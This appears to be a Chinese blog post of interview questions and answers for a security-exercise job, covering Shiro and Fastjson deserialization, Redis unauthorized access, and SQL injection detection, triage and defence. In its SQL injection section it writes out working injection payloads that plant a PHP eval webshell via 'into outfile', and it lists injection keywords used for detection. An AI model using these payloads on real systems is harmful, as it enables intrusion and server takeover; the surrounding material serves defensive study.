2025hvv某厂商一面的问题及整理的答案(一)

Shiro反序列化漏洞

原理: Shiro是Apache下的一个开源Java安全框架,执行身份认证,授权,密码和会话管理。shiro在用户登录时除了账号密码外还提供了可传递选项remember me。用户在登录时如果勾选了remember me选项,那么在下一次登录时浏览器会携带cookie中的remember me字段发起请求,就不需要重新输入用户名和密码。

原理具体一点:

1. 浏览器或服务器重启后用户不丢失登录状态,Shiro 支持将持久化信息序列化并加密后保存在Cookie 的 rememberMe 字段中,下次读取时进行解密再反序列化。但是在 Shiro 1.2.4 版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的 rememberMe Cookie,进而触发反序列化漏洞
2. Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值, 先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。 那么,Payload产生的过程: 命令=>序列化=>AES加密=>base64编码 =>RememberMe Cookie值在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了

判断:

1.数据返回包中包含rememberMe=deleteMe字段。

2.直接发送原数据包,返回的数据中不存在关键字可以通过在发送数据包的cookie中增加字段:rememberMe=然后查看返回数据包中是否存在关键字。

shiro-550: shiro反序列化漏洞利用有两个关键点,首先是在shiro<1.2.4时,AES加密的密钥Key被硬编码在代码里,只要能获取到这个key就可以构造恶意数据让shiro识别为正常数据。另外就是shiro在验证rememberMe时使用了readObject方法,readObject用来执行反序列化后需要执行的代码片段,从而造成恶意命令可以被执行。攻击者构造恶意代码,并且序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行编码,解密并且反序列化,最终造成反序列化漏洞。

shiro-721: Shiro721的ase加密的key基本猜不到,系统随机生成,可使用登录后rememberMe去爆破正确的key值,利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的Remember。

流量层面分析shiro反序列化漏洞是否攻击成功?

  1. 在HTTP请求头Cookie里出现rememberMe字段以及可能出现自定义类型,例如c: aWQ=,响应体中出 现大量编码字符串,若需要判断是否攻击成功,需对请求数据和响应体内容进行解密判断。

  2. 检查请求头中的"rememberMe" cookie。攻击者可能会在此处插入恶意序列化数据。

  3. 观察服务器响应。如果服务器返回了异常错误信息,如Java反序列化异常,可能表明攻击成功。 分析应用程序日志。如果日志中出现了异常堆栈跟踪,可能表明攻击成功。 例如,攻击者发送了一个包含恶意序列化数据的请求,服务器响应了一个包含Java反序列化异常的错误信 息。这可能表明攻击成功。

     shiro721漏洞利用条件  :

    1. 已经登陆用户的合法cookie且目标服务器含有可利用的攻击链
    2. shiro版本在1.2.4版本之前
    3. 启用rememberMe功能
       目标应用使用了Apache Shiro框架且版本在1.2.0至1.2.4之间。只有在这个范围内的版本才存在漏洞。
       Shiro框架的RememberMe功能处于启用状态。RememberMe是Shiro框架提供的一种功能,用于在用户
       登录后保持登录状态。
       应用没有正确地配置RememberMe的密钥(encryptionKey)。RememberMe功能需要一个密钥来加密
       和解密数据,如果密钥弱或者没有配置,攻击者可以通过破解或者伪造密钥来执行恶意操作。
       攻击者可以通过网络连接到目标应用的RememberMe Cookie。这可以通过网络钓鱼、XSS攻击或其他方
       式来实现。
       及时升级Shiro框架到最新版本,避免使用受漏洞影响的版本。
       配置RememberMe功能时,务必使用强大且随机的密钥(encryptionKey),确保密钥的机密性。
       定期审查应用程序的安全配置和代码,确保没有存在其他漏洞或安全风险。
       监控应用的日志和网络流量,及时检测和响应任何可疑的活动或攻击尝试。

Fastjson反序列化漏洞

判断: 正常请求是get请求并且没有请求体,可以通过构造错误的POST请求,即可查看在返回包中是否有fastjson这个字符串来判断。

原理: fastjson是阿里巴巴开发的一款将json字符串和java对象进行序列化和反序列化的开源json解析库。fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。

无回显怎么办:

1.一种是直接将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看到结果

2.通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了

3.直接将命令执行结果回显到请求Poc的HTTP响应中

如何研判Fastjson反序列化漏洞攻击成功?  

1.请求头:method: POST content_type: application/json 
2.请求体:data:com.sun.rowset.JdbcRowSetImpl,dataSourceName,@type 
3.请求体: 包含攻击者C2服务器地址 
4.状态码为:400 也可能是500 
5.通过天眼分析平台进行回溯分析,在分析中心输入语法:(sip:(失陷服务器IP) OR sip:(攻击者C2IP)) AND (dip:(失陷服务器IP) OR dip:(攻击者C2IP))  

redis未授权条件与修复

Redis 未授权访问是指某些 Redis 实例的访问控制没有得到正确配置,导致攻击者可以通过不需要认证的方式直接连接该实例并进行操作。

  1. 确认是否存在未授权访问:通过检查日志和网络流量等信息,确认是否存在未授权访问的情况。

  2. 修改 Redis 配置文件:在 redis.config 配置文件中,找到 bind 参数并将其设置为 Redis 监听的 IP 地址。此外,还需要设置 requirepass 参数,并设置一个强密码来保护 Redis 数据库。

  3. 重新启动 Redis 服务:在修改完 Redis 配置文件后,需要重新启动 Redis 服务,以便使新的配置生效。

  4. 禁用 Redis 远程访问:如果您的 Redis 服务只在本地使用,则应禁用 Redis 的远程访问,以降低攻击面和提高安全性。

  5. 定期更新 Redis 和操作系统补丁:及时更新 Redis 和操作系统的安全补丁,以修复已知漏洞和提高系统安全性。

SQL注入

SQL注入_waf绕过_检测_加固_写入:


成因:
为对用户的输入进行检验过滤,未进行预编译,或者处理的不完整,处理程序不完善
防御:
使用预编译;
黑名单:对特殊的字符例如括号斜杠进行转义过滤删除;
白名单:对用户的输入进行正则表达式匹配限制
规范编码以及字符集,否者攻击者可以通过编码绕过检查
参数化查询:原理是将用户输入的查询参数作为参数传,而不直接将它们拼接到SQL语而言,将SQL语句和参数分离开来,并通过占位符(一般使用问号“?”)将它们关联起来,这样用户的输入只会被当作参数`
分类:
请求头的注入:
user-agent;referer;cookie;Host;Location;Accept-Language
联合查询注入:
union
通过union拼接查询语句获取大量的信息
利用:模糊查询猜测列名、表名---->union查询构造select语句进行查询返回大量数据
报错注入:
利用系统返回的错误信息来获取有用的信息
需要用到的函数:
updataxml、floor向下取整、group by分组排列、count统计数量、concat连接字符串
extractvalue
原理:第一个参数为字符串 第二个参数为xpath路径

原理:updatexml()一共有三个参数,第一个是xml内容、第二个参数是update的位置XPATH路径、第三个参数是更新后的内容;这里报错的主要原理是利用第二个参数,判断校验输入的内容是否符合XPATH格式的,不符合就报错,我们将第二个参数替换为version()或者database()等等,因为不满足XPATH格式所以会输出错误,输出错误的时候将sql代码(verson()/database()等)执行了。
布尔盲注
堆叠注入
时间盲注
sleep

宽字节注入:
PHP utf-8编码 数据库GBK编码
PHP防御函数:magic_quotes_gpc()
成因:PHP发送请求到mysql时经过一次gbk编码,PHP会将获取到的数据进行魔术引号的处理PHP发送请求到mysql时经过一次gbk编码,PHP会将获取到的数据进行魔术引号的处理,因为GBK是双字节编码,所以我们提交的%df这个字符和转译的反斜杠组成了新的汉字,然后数据库处理的时候是根据GBK去处理的,然后单引号就逃逸了出
原理:在数据库中使用宽字符集,在web中没有考虑这个问题。由于0XDF27在web中是两个字符,在php中会对0x27进行转义,把0XDF27变成0XDF5c27
设备报警,SQL注入的报警,能看到攻击时间,攻击ip,payload,如何判断是误报还是真是攻击,如果是真实攻击,怎么判断他攻击是否成功,如如何成功怎么处理?
先看ip,如果ip是公司内部的再看内部人员有没有相关操作,如果不是ip白名单的例如公司人员业务的操作那就是攻击,然后分析payload,分析它写的payload安全设备能否它进行过滤拦截,如果它确实能绕过,那就应该攻击成功了,成功的话赶紧上报,做应急响应,做出相应处理,添加过滤规则,修改数据库中能修改的数据比如管理员账号密码
sql注入如何检测?

1. 数据库异常日志:在数据库服务器上查看异常日志或错误日志,如果发现异常 SQL 语句,或者 SQL 语句中包含可疑代码或关键字,就可能存在 SQL 注入攻击。
2. 应用服务器日志:在应用服务器上查看访问日志或错误日志,如果发现访问异常、错误码增多,或者包含可疑的 URL 参数等信息,也可能表明存在 SQL 注入攻击。
3. 漏洞扫描工具:使用专业的漏洞扫描工具,可以自动化地检测应用程序中可能存在的 SQL 注入漏洞,并提供修补建议。
4. 安全审计:通过记录用户行为和操作日志,可以检测和追踪可能存在的 SQL 注入攻击。
5. 手动测试:模拟攻击者的行为,手动输入特定的 SQL 语句或注入代码,来验证是否存在 SQL 注入漏洞。

写入webshell:

?id=1' union select 1,"<?php @eval($_POST['shell']);?>",3 into outfile 'C:\\phpstudy\\WWW\\sqli\\shell.php'#

?id=1' union select 1,"<?php @eval($_POST['shell']);?>",3 into dumpfile 'C:\\phpstudy\\WWW\\sqli\\shell.php'#
into outfile 'C:/wamp64/www/shell.php' lines terminated/starting by '<?php phpinfo()?>';

sql注入流量特征

参数长度异常。大多数的 SQL 注入参数由于需要截断、拼接、构造等操作,会导致参数的长度比较长; 特殊字符。大多数的 SQL 注入会包含如 '、 "、)、;、#、--、<!--、/** 等用于截断或者注释 SQL 语句的特殊字符; 参数编码。对参数进行 url、base64 等类型的编码,以及类似于宽字节注入常用的 %df5c 等编码方式,都是常见的绕过手段; SQL 关键字。通常情况下正常的 SQL 参数是不会包含如 SELECT、 UNION、 ORDER BY、 UPDATEXML、 CONCAT、 TABLE、 DATABASE、 SLEEP等 SQL 关键字的,如果流量中出现了这类关键字就需要留意了。 大量的请求。短时间之内涌入大量的请求,有很大概率是扫描工具发起的流量,需要留意识别。

如何研判sql注入类型告警事件?

1.排除302、404、301、502,非200状态码。

2.判断请求包内相关的sql语句是否为恶意的SQL语句。

3.判断响应体内是否包含数据库敏感信息,或者系统信息。

Sql注入攻击:Sql注入通过判断web请求提交的字段中是否有数据库查询语句或者关键词进行判断。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值